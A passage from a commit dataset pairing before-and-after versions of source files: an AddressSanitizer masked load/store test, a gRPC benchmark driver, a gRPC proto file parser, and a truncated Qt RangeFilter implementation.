print_vector(v);\n      \/\/ Should have blown up\n      break;\n    }\n    case '6': {\n      \/\/ Safe\n      __v4sf v = maskedload_ps_0110();\n      \/\/ CHECK-L6: 0,1881171328,25961,0\n      print_vector(v);\n      return 0;\n    }\n    case 'a': {\n      \/\/ TODO: Poison middle element\n      \/\/ Safe\n      __v4sf v = maskedload_ps_1010();\n      \/\/ CHECK-LA: 1802398080,0,25961,0\n      print_vector(v);\n      return 0;\n    }\n    }\n  } else {\n    switch (argv[1][1]) {\n    case '1':\n      \/\/ CHECK-S1: ERROR: AddressSanitizer\n      maskedstore_ps_0001(a);\n      \/\/ Should have blown up\n      break;\n    case '6':\n      \/\/ Safe\n      maskedstore_ps_0110(a);\n      \/\/ CHECK-S6: 1802398080,2,3\n      print_vector3(g_vec3);\n      return 0;\n    case 'a':\n      \/\/ TODO: Poison middle element\n      \/\/ Safe\n      maskedstore_ps_1010(a);\n      \/\/ CHECK-SA: 1,1881171328,3\n      print_vector3(g_vec3);\n      return 0;\n    }\n  }\n  assert(0);\n}\n<commit_msg>Revert \"Compiler-rt part of D26230: Add (constant) masked load\/store support\"<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n *\n * Copyright 2015-2016, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <signal.h>\n#include <string.h>\n\n#include <memory>\n#include <mutex>\n#include <sstream>\n#include <string>\n\n#include <grpc\/support\/log.h>\n\n#include \"src\/core\/lib\/support\/env.h\"\n#include \"test\/core\/util\/port.h\"\n#include \"test\/cpp\/util\/subprocess.h\"\n\nusing grpc::SubProcess;\ntypedef std::unique_ptr<SubProcess> SubProcessPtr;\nstd::vector<SubProcessPtr> g_workers;\nSubProcessPtr g_driver;\n\ntemplate <class T>\nstd::string as_string(const T& val) {\n  std::ostringstream out;\n  out << val;\n  return out.str();\n}\n\nstatic void sighandler(int sig) {\n  g_driver->Interrupt();\n  for (auto it = g_workers.begin(); it != g_workers.end(); ++it) {\n    (*it)->Interrupt();\n  }\n}\n\nstatic void register_sighandler() {\n  struct sigaction act;\n  memset(&act, 0, sizeof(act));\n  act.sa_handler = sighandler;\n\n  sigaction(SIGINT, &act, NULL);\n  sigaction(SIGTERM, &act, NULL);\n}\n\nint main(int argc, char** argv) {\n  register_sighandler();\n\n  std::string my_bin = argv[0];\n  std::string bin_dir = my_bin.substr(0, my_bin.rfind('\/'));\n\n  std::ostringstream env;\n  bool first = true;\n\n  for (int i = 0; i < 2; i++) {\n    auto port = grpc_pick_unused_port_or_die();\n    std::vector<std::string> args = {bin_dir + \"\/qps_worker\", \"-driver_port\",\n                                     as_string(port)};\n    g_workers.emplace_back(new SubProcess(args));\n    if (!first) env << \",\";\n    env << \"localhost:\" << port;\n    first = false;\n  }\n\n  gpr_setenv(\"QPS_WORKERS\", env.str().c_str());\n  std::vector<std::string> args = {bin_dir + \"\/qps_json_driver\"};\n  for (int i = 1; i < argc; i++) {\n    args.push_back(argv[i]);\n  }\n\n  g_driver.reset(new SubProcess(args));\n  const int driver_join_status = g_driver->Join();\n  for (auto it = g_workers.begin(); it != g_workers.end(); ++it) {\n    (*it)->Interrupt();\n  }\n  for (auto it = g_workers.begin(); it != g_workers.end(); ++it) {\n    (*it)->Join();\n  }\n  GPR_ASSERT(driver_join_status == 0);\n}\n<commit_msg>PR comments<commit_after>\/*\n *\n * Copyright 2015-2016, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <signal.h>\n#include <string.h>\n\n#include <memory>\n#include <mutex>\n#include <sstream>\n#include <string>\n\n#include <grpc\/support\/log.h>\n\n#include \"src\/core\/lib\/support\/env.h\"\n#include \"test\/core\/util\/port.h\"\n#include \"test\/cpp\/util\/subprocess.h\"\n\nusing grpc::SubProcess;\ntypedef std::unique_ptr<SubProcess> SubProcessPtr;\nSubProcessPtr g_driver;\nconstexpr auto kNumWorkers = 2;\nstd::vector<SubProcessPtr> g_workers(2);\n\ntemplate <class T>\nstd::string as_string(const T& val) {\n  std::ostringstream out;\n  out << val;\n  return out.str();\n}\n\nstatic void sighandler(int sig) {\n  const int errno_saved = errno;\n  g_driver->Interrupt();\n  for (const auto& worker : g_workers)\n    if (worker) worker->Interrupt();\n  errno = errno_saved;\n}\n\nstatic void register_sighandler() {\n  struct sigaction act;\n  memset(&act, 0, sizeof(act));\n  act.sa_handler = sighandler;\n\n  sigaction(SIGINT, &act, NULL);\n  sigaction(SIGTERM, &act, NULL);\n}\n\nint main(int argc, char** argv) {\n  register_sighandler();\n\n  std::string my_bin = argv[0];\n  std::string bin_dir = my_bin.substr(0, my_bin.rfind('\/'));\n\n  std::ostringstream env;\n  bool first = true;\n\n  for (int i = 0; i < kNumWorkers; i++) {\n    const auto port = grpc_pick_unused_port_or_die();\n    std::vector<std::string> args = {bin_dir + \"\/qps_worker\", \"-driver_port\",\n                                     as_string(port)};\n    g_workers[i].reset(new SubProcess(args));\n    if (!first) env << \",\";\n    env << \"localhost:\" << port;\n    first = false;\n  }\n\n  gpr_setenv(\"QPS_WORKERS\", env.str().c_str());\n  std::vector<std::string> args = {bin_dir + \"\/qps_json_driver\"};\n  for (int i = 1; i < argc; i++) {\n    args.push_back(argv[i]);\n  }\n\n  g_driver.reset(new SubProcess(args));\n  const int driver_join_status = g_driver->Join();\n  for (const auto& worker : g_workers)\n    if (worker) worker->Interrupt();\n  for (const auto& worker : g_workers)\n    if (worker) worker->Join();\n  GPR_ASSERT(driver_join_status == 0);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *\n * Copyright 2016, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include \"test\/cpp\/util\/proto_file_parser.h\"\n\n#include <algorithm>\n#include <iostream>\n#include <sstream>\n#include <unordered_set>\n\n#include <grpc++\/support\/config.h>\n\nnamespace grpc {\nnamespace testing {\nnamespace {\n\n\/\/ Match the user input method string to the full_name from method descriptor.\nbool MethodNameMatch(const grpc::string& full_name, const grpc::string& input) {\n  grpc::string clean_input = input;\n  std::replace(clean_input.begin(), clean_input.end(), '\/', '.');\n  if (clean_input.size() > full_name.size()) {\n    return false;\n  }\n  return full_name.compare(full_name.size() - clean_input.size(),\n                           clean_input.size(), clean_input) == 0;\n}\n}  \/\/ namespace\n\nclass ErrorPrinter : public protobuf::compiler::MultiFileErrorCollector {\n public:\n  explicit ErrorPrinter(ProtoFileParser* parser) : parser_(parser) {}\n\n  void AddError(const grpc::string& filename, int line, int column,\n                const grpc::string& message) GRPC_OVERRIDE {\n    std::ostringstream oss;\n    oss << \"error \" << filename << \" \" << line << \" \" << column << \" \"\n        << message << \"\\n\";\n    parser_->LogError(oss.str());\n  }\n\n  void AddWarning(const grpc::string& filename, int line, int column,\n                  const grpc::string& message) GRPC_OVERRIDE {\n    std::cerr << \"warning \" << filename << \" \" << line << \" \" << column << \" \"\n              << message << std::endl;\n  }\n\n private:\n  ProtoFileParser* parser_;  \/\/ not owned\n};\n\nProtoFileParser::ProtoFileParser(std::shared_ptr<grpc::Channel> channel,\n                                 const grpc::string& proto_path,\n                                 const grpc::string& protofiles)\n    : has_error_(false) {\n  std::vector<std::string> service_list;\n  if (channel) {\n    reflection_db_.reset(new grpc::ProtoReflectionDescriptorDatabase(channel));\n    reflection_db_->GetServices(&service_list);\n  }\n\n  std::unordered_set<grpc::string> known_services;\n  if (!protofiles.empty()) {\n    source_tree_.MapPath(\"\", proto_path);\n    error_printer_.reset(new ErrorPrinter(this));\n    importer_.reset(\n        new protobuf::compiler::Importer(&source_tree_, error_printer_.get()));\n\n    grpc::string file_name;\n    std::stringstream ss(protofiles);\n    while (std::getline(ss, file_name, ',')) {\n      const auto* file_desc = importer_->Import(file_name);\n      if (file_desc) {\n        for (int i = 0; i < file_desc->service_count(); i++) {\n          service_desc_list_.push_back(file_desc->service(i));\n          known_services.insert(file_desc->service(i)->full_name());\n        }\n      } else {\n        std::cerr << file_name << \" not found\" << std::endl;\n      }\n    }\n\n    file_db_.reset(new protobuf::DescriptorPoolDatabase(*importer_->pool()));\n  }\n\n  if (!reflection_db_ && !file_db_) {\n    LogError(\"No available proto database\");\n    return;\n  }\n\n  if (!reflection_db_) {\n    desc_db_ = std::move(file_db_);\n  } else if (!file_db_) {\n    desc_db_ = std::move(reflection_db_);\n  } else {\n    desc_db_.reset(new protobuf::MergedDescriptorDatabase(reflection_db_.get(),\n                                                          file_db_.get()));\n  }\n\n  desc_pool_.reset(new protobuf::DescriptorPool(desc_db_.get()));\n  dynamic_factory_.reset(new protobuf::DynamicMessageFactory(desc_pool_.get()));\n\n  for (auto it = service_list.begin(); it != service_list.end(); it++) {\n    if (known_services.find(*it) == known_services.end()) {\n      if (const protobuf::ServiceDescriptor* service_desc =\n              desc_pool_->FindServiceByName(*it)) {\n        service_desc_list_.push_back(service_desc);\n        known_services.insert(*it);\n      }\n    }\n  }\n}\n\nProtoFileParser::~ProtoFileParser() {}\n\ngrpc::string ProtoFileParser::GetFullMethodName(const grpc::string& method) {\n  has_error_ = false;\n  const protobuf::MethodDescriptor* method_descriptor = nullptr;\n  for (auto it = service_desc_list_.begin(); it != service_desc_list_.end();\n       it++) {\n    const auto* service_desc = *it;\n    for (int j = 0; j < service_desc->method_count(); j++) {\n      const auto* method_desc = service_desc->method(j);\n      if (MethodNameMatch(method_desc->full_name(), method)) {\n        if (method_descriptor) {\n          std::ostringstream error_stream(\"Ambiguous method names: \");\n          error_stream << method_descriptor->full_name() << \" \";\n          error_stream << method_desc->full_name();\n          LogError(error_stream.str());\n        }\n        method_descriptor = method_desc;\n      }\n    }\n  }\n  if (!method_descriptor) {\n    LogError(\"Method name not found\");\n  }\n  if (has_error_) {\n    return \"\";\n  }\n\n  return method_descriptor->full_name();\n}\n\ngrpc::string ProtoFileParser::GetFormatedMethodName(\n    const grpc::string& method) {\n  has_error_ = false;\n  grpc::string formated_method_name = GetFullMethodName(method);\n  if (has_error_) {\n    return \"\";\n  }\n  size_t last_dot = formated_method_name.find_last_of('.');\n  if (last_dot != grpc::string::npos) {\n    formated_method_name[last_dot] = '\/';\n  }\n  formated_method_name.insert(formated_method_name.begin(), '\/');\n  return formated_method_name;\n}\n\ngrpc::string ProtoFileParser::GetMessageTypeFromMethod(\n    const grpc::string& method, bool is_request) {\n  has_error_ = false;\n  grpc::string full_method_name = GetFullMethodName(method);\n  if (has_error_) {\n    return \"\";\n  }\n  const protobuf::MethodDescriptor* method_desc =\n      desc_pool_->FindMethodByName(full_method_name);\n  if (!method_desc) {\n    LogError(\"Method not found\");\n    return \"\";\n  }\n\n  return is_request ? method_desc->input_type()->full_name()\n                    : method_desc->output_type()->full_name();\n}\n\ngrpc::string ProtoFileParser::GetSerializedProtoFromMethod(\n    const grpc::string& method, const grpc::string& text_format_proto,\n    bool is_request) {\n  has_error_ = false;\n  grpc::string message_type_name = GetMessageTypeFromMethod(method, is_request);\n  if (has_error_) {\n    return \"\";\n  }\n  return GetSerializedProtoFromMessageType(message_type_name,\n                                           text_format_proto);\n}\n\ngrpc::string ProtoFileParser::GetTextFormatFromMethod(\n    const grpc::string& method, const grpc::string& serialized_proto,\n    bool is_request) {\n  has_error_ = false;\n  grpc::string message_type_name = GetMessageTypeFromMethod(method, is_request);\n  if (has_error_) {\n    return \"\";\n  }\n  return GetTextFormatFromMessageType(message_type_name, serialized_proto);\n}\n\ngrpc::string ProtoFileParser::GetSerializedProtoFromMessageType(\n    const grpc::string& message_type_name,\n    const grpc::string& text_format_proto) {\n  has_error_ = false;\n  grpc::string serialized;\n  const protobuf::Descriptor* desc =\n      desc_pool_->FindMessageTypeByName(message_type_name);\n  if (!desc) {\n    LogError(\"Message type not found\");\n    return \"\";\n  }\n  std::unique_ptr<grpc::protobuf::Message> msg(\n      dynamic_factory_->GetPrototype(desc)->New());\n  bool ok = protobuf::TextFormat::ParseFromString(text_format_proto, msg.get());\n  if (!ok) {\n    LogError(\"Failed to parse text format to proto.\");\n    return \"\";\n  }\n  ok = msg->SerializeToString(&serialized);\n  if (!ok) {\n    LogError(\"Failed to serialize proto.\");\n    return \"\";\n  }\n  return serialized;\n}\n\ngrpc::string ProtoFileParser::GetTextFormatFromMessageType(\n    const grpc::string& message_type_name,\n    const grpc::string& serialized_proto) {\n  has_error_ = false;\n  const protobuf::Descriptor* desc =\n      desc_pool_->FindMessageTypeByName(message_type_name);\n  if (!desc) {\n    LogError(\"Message type not found\");\n    return \"\";\n  }\n  std::unique_ptr<grpc::protobuf::Message> msg(\n      dynamic_factory_->GetPrototype(desc)->New());\n  if (!msg->ParseFromString(serialized_proto)) {\n    LogError(\"Failed to deserialize proto.\");\n    return \"\";\n  }\n  grpc::string text_format;\n  if (!protobuf::TextFormat::PrintToString(*msg.get(), &text_format)) {\n    LogError(\"Failed to print proto message to text format\");\n    return \"\";\n  }\n  return text_format;\n}\n\nvoid ProtoFileParser::LogError(const grpc::string& error_msg) {\n  if (!error_msg.empty()) {\n    std::cerr << error_msg << std::endl;\n  }\n  has_error_ = true;\n}\n\n}  \/\/ namespace testing\n}  \/\/ namespace grpc\n<commit_msg>Print more information about ambiguous method names<commit_after>\/*\n *\n * Copyright 2016, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include \"test\/cpp\/util\/proto_file_parser.h\"\n\n#include <algorithm>\n#include <iostream>\n#include <sstream>\n#include <unordered_set>\n\n#include <grpc++\/support\/config.h>\n\nnamespace grpc {\nnamespace testing {\nnamespace {\n\n\/\/ Match the user input method string to the full_name from method descriptor.\nbool MethodNameMatch(const grpc::string& full_name, const grpc::string& input) {\n  grpc::string clean_input = input;\n  std::replace(clean_input.begin(), clean_input.end(), '\/', '.');\n  if (clean_input.size() > full_name.size()) {\n    return false;\n  }\n  return full_name.compare(full_name.size() - clean_input.size(),\n                           clean_input.size(), clean_input) == 0;\n}\n}  \/\/ namespace\n\nclass ErrorPrinter : public protobuf::compiler::MultiFileErrorCollector {\n public:\n  explicit ErrorPrinter(ProtoFileParser* parser) : parser_(parser) {}\n\n  void AddError(const grpc::string& filename, int line, int column,\n                const grpc::string& message) GRPC_OVERRIDE {\n    std::ostringstream oss;\n    oss << \"error \" << filename << \" \" << line << \" \" << column << \" \"\n        << message << \"\\n\";\n    parser_->LogError(oss.str());\n  }\n\n  void AddWarning(const grpc::string& filename, int line, int column,\n                  const grpc::string& message) GRPC_OVERRIDE {\n    std::cerr << \"warning \" << filename << \" \" << line << \" \" << column << \" \"\n              << message << std::endl;\n  }\n\n private:\n  ProtoFileParser* parser_;  \/\/ not owned\n};\n\nProtoFileParser::ProtoFileParser(std::shared_ptr<grpc::Channel> channel,\n                                 const grpc::string& proto_path,\n                                 const grpc::string& protofiles)\n    : has_error_(false) {\n  std::vector<std::string> service_list;\n  if (channel) {\n    reflection_db_.reset(new grpc::ProtoReflectionDescriptorDatabase(channel));\n    reflection_db_->GetServices(&service_list);\n  }\n\n  std::unordered_set<grpc::string> known_services;\n  if (!protofiles.empty()) {\n    source_tree_.MapPath(\"\", proto_path);\n    error_printer_.reset(new ErrorPrinter(this));\n    importer_.reset(\n        new protobuf::compiler::Importer(&source_tree_, error_printer_.get()));\n\n    grpc::string file_name;\n    std::stringstream ss(protofiles);\n    while (std::getline(ss, file_name, ',')) {\n      const auto* file_desc = importer_->Import(file_name);\n      if (file_desc) {\n        for (int i = 0; i < file_desc->service_count(); i++) {\n          service_desc_list_.push_back(file_desc->service(i));\n          known_services.insert(file_desc->service(i)->full_name());\n        }\n      } else {\n        std::cerr << file_name << \" not found\" << std::endl;\n      }\n    }\n\n    file_db_.reset(new protobuf::DescriptorPoolDatabase(*importer_->pool()));\n  }\n\n  if (!reflection_db_ && !file_db_) {\n    LogError(\"No available proto database\");\n    return;\n  }\n\n  if (!reflection_db_) {\n    desc_db_ = std::move(file_db_);\n  } else if (!file_db_) {\n    desc_db_ = std::move(reflection_db_);\n  } else {\n    desc_db_.reset(new protobuf::MergedDescriptorDatabase(reflection_db_.get(),\n                                                          file_db_.get()));\n  }\n\n  desc_pool_.reset(new protobuf::DescriptorPool(desc_db_.get()));\n  dynamic_factory_.reset(new protobuf::DynamicMessageFactory(desc_pool_.get()));\n\n  for (auto it = service_list.begin(); it != service_list.end(); it++) {\n    if (known_services.find(*it) == known_services.end()) {\n      if (const protobuf::ServiceDescriptor* service_desc =\n              desc_pool_->FindServiceByName(*it)) {\n        service_desc_list_.push_back(service_desc);\n        known_services.insert(*it);\n      }\n    }\n  }\n}\n\nProtoFileParser::~ProtoFileParser() {}\n\ngrpc::string ProtoFileParser::GetFullMethodName(const grpc::string& method) {\n  has_error_ = false;\n  const protobuf::MethodDescriptor* method_descriptor = nullptr;\n  for (auto it = service_desc_list_.begin(); it != service_desc_list_.end();\n       it++) {\n    const auto* service_desc = *it;\n    for (int j = 0; j < service_desc->method_count(); j++) {\n      const auto* method_desc = service_desc->method(j);\n      if (MethodNameMatch(method_desc->full_name(), method)) {\n        if (method_descriptor) {\n          std::ostringstream error_stream;\n          error_stream << \"Ambiguous method names: \";\n          error_stream << method_descriptor->full_name() << \" \";\n          error_stream << method_desc->full_name();\n          LogError(error_stream.str());\n        }\n        method_descriptor = method_desc;\n      }\n    }\n  }\n  if (!method_descriptor) {\n    LogError(\"Method name not found\");\n  }\n  if (has_error_) {\n    return \"\";\n  }\n\n  return method_descriptor->full_name();\n}\n\ngrpc::string ProtoFileParser::GetFormatedMethodName(\n    const grpc::string& method) {\n  has_error_ = false;\n  grpc::string formated_method_name = GetFullMethodName(method);\n  if (has_error_) {\n    return \"\";\n  }\n  size_t last_dot = formated_method_name.find_last_of('.');\n  if (last_dot != grpc::string::npos) {\n    formated_method_name[last_dot] = '\/';\n  }\n  formated_method_name.insert(formated_method_name.begin(), '\/');\n  return formated_method_name;\n}\n\ngrpc::string ProtoFileParser::GetMessageTypeFromMethod(\n    const grpc::string& method, bool is_request) {\n  has_error_ = false;\n  grpc::string full_method_name = GetFullMethodName(method);\n  if (has_error_) {\n    return \"\";\n  }\n  const protobuf::MethodDescriptor* method_desc =\n      desc_pool_->FindMethodByName(full_method_name);\n  if (!method_desc) {\n    LogError(\"Method not found\");\n    return \"\";\n  }\n\n  return is_request ? method_desc->input_type()->full_name()\n                    : method_desc->output_type()->full_name();\n}\n\ngrpc::string ProtoFileParser::GetSerializedProtoFromMethod(\n    const grpc::string& method, const grpc::string& text_format_proto,\n    bool is_request) {\n  has_error_ = false;\n  grpc::string message_type_name = GetMessageTypeFromMethod(method, is_request);\n  if (has_error_) {\n    return \"\";\n  }\n  return GetSerializedProtoFromMessageType(message_type_name,\n                                           text_format_proto);\n}\n\ngrpc::string ProtoFileParser::GetTextFormatFromMethod(\n    const grpc::string& method, const grpc::string& serialized_proto,\n    bool is_request) {\n  has_error_ = false;\n  grpc::string message_type_name = GetMessageTypeFromMethod(method, is_request);\n  if (has_error_) {\n    return \"\";\n  }\n  return GetTextFormatFromMessageType(message_type_name, serialized_proto);\n}\n\ngrpc::string ProtoFileParser::GetSerializedProtoFromMessageType(\n    const grpc::string& message_type_name,\n    const grpc::string& text_format_proto) {\n  has_error_ = false;\n  grpc::string serialized;\n  const protobuf::Descriptor* desc =\n      desc_pool_->FindMessageTypeByName(message_type_name);\n  if (!desc) {\n    LogError(\"Message type not found\");\n    return \"\";\n  }\n  std::unique_ptr<grpc::protobuf::Message> msg(\n      dynamic_factory_->GetPrototype(desc)->New());\n  bool ok = protobuf::TextFormat::ParseFromString(text_format_proto, msg.get());\n  if (!ok) {\n    LogError(\"Failed to parse text format to proto.\");\n    return \"\";\n  }\n  ok = msg->SerializeToString(&serialized);\n  if (!ok) {\n    LogError(\"Failed to serialize proto.\");\n    return \"\";\n  }\n  return serialized;\n}\n\ngrpc::string ProtoFileParser::GetTextFormatFromMessageType(\n    const grpc::string& message_type_name,\n    const grpc::string& serialized_proto) {\n  has_error_ = false;\n  const protobuf::Descriptor* desc =\n      desc_pool_->FindMessageTypeByName(message_type_name);\n  if (!desc) {\n    LogError(\"Message type not found\");\n    return \"\";\n  }\n  std::unique_ptr<grpc::protobuf::Message> msg(\n      dynamic_factory_->GetPrototype(desc)->New());\n  if (!msg->ParseFromString(serialized_proto)) {\n    LogError(\"Failed to deserialize proto.\");\n    return \"\";\n  }\n  grpc::string text_format;\n  if (!protobuf::TextFormat::PrintToString(*msg.get(), &text_format)) {\n    LogError(\"Failed to print proto message to text format\");\n    return \"\";\n  }\n  return text_format;\n}\n\nvoid ProtoFileParser::LogError(const grpc::string& error_msg) {\n  if (!error_msg.empty()) {\n    std::cerr << error_msg << std::endl;\n  }\n  has_error_ = true;\n}\n\n}  \/\/ namespace testing\n}  \/\/ namespace grpc\n<|endoftext|>"}
{"text":"<commit_before>#include \"rangefilter.h\"\n\nnamespace qqsfpm {\n\n\/*!\n    \\qmltype RangeFilter\n    \\inherits RoleFilter\n    \\inqmlmodule SortFilterProxyModel\n    \\brief Filters rows between boundary values\n\n    A RangeFilter is a \\l RoleFilter that accepts rows if their data is between the filter's minimum and maximum value.\n\n    In the following example, only rows with their \\c price role set to a value between the tow boundary of the slider will be accepted :\n    \\code\n    RangeSlider {\n       id: priceRangeSlider\n    }\n\n    SortFilterProxyModel {\n       sourceModel: priceModel\n       filters: RangeFilter {\n           roleName: \"price\"\n           minimumValue: priceRangeSlider.first.value\n           maximumValue: priceRangeSlider.second.value\n       }\n    }\n    \\endcode\n*\/\n\n\/*!\n    \\qmlproperty int RangeFilter::minimumValue\n\n    This property holds the minimumValue of the filter.\n    Rows with a value lower than \\c minimumValue will be rejected.\n\n    By default, no value is set.\n\n    \\sa minimumInclusive\n*\/\nQVariant RangeFilter::minimumValue() const\n{\n    return m_minimumValue;\n}\n\nvoid RangeFilter::setMinimumValue(QVariant minimumValue)\n{\n    if (m_minimumValue == minimumValue)\n        return;\n\n    m_minimumValue = minimumValue;\n    Q_EMIT minimumValueChanged();\n    invalidate();\n}\n\n\/*!\n    \\qmlproperty int RangeFilter::minimumInclusive\n\n    This property holds whether the \\l minimumValue is inclusive.\n\n    By default, the \\l minimumValue is inclusive.\n\n    \\sa minimumValue\n*\/\nbool RangeFilter::minimumInclusive() const\n{\n    return m_minimumInclusive;\n}\n\nvoid RangeFilter::setMinimumInclusive(bool minimumInclusive)\n{\n    if (m_minimumInclusive == minimumInclusive)\n        return;\n\n    m_minimumInclusive = minimumInclusive;\n    Q_EMIT minimumInclusiveChanged();\n    invalidate();\n}\n\n\/*!\n    \\qmlproperty int RangeFilter::maximumValue\n\n    This property holds the maximumValue of the filter.\n    Rows with a value higher than \\c maximumValue will be rejected.\n\n    By default, no value is set.\n\n    \\sa maximumInclusive\n*\/\nQVariant RangeFilter::maximumValue() const\n{\n    return m_maximumValue;\n}\n\nvoid RangeFilter::setMaximumValue(QVariant maximumValue)\n{\n    if (m_maximumValue == maximumValue)\n        return;\n\n    m_maximumValue = maximumValue;\n    Q_EMIT maximumValueChanged();\n    invalidate();\n}\n\n\/*!\n    \\qmlproperty int RangeFilter::maximumInclusive\n\n    This property holds whether the \\l minimumValue is inclusive.\n\n    By default, the \\l minimumValue is inclusive.\n\n    \\sa minimumValue\n*\/\nbool RangeFilter::maximumInclusive() const\n{\n    return m_maximumInclusive;\n}\n\nvoid RangeFilter::setMaximumInclusive(bool maximumInclusive)\n{\n    if (m_maximumInclusive == maximumInclusive)\n        return;\n\n    m_maximumInclusive = maximumInclusive;\n    Q_EMIT maximumInclusiveChanged();\n    invalidate();\n}\n\nbool RangeFilter::filterRow(const QModelIndex& sourceIndex, const QQmlSortFilterProxyModel& proxyModel) const\n{\n    QVariant value = sourceData(sourceIndex, 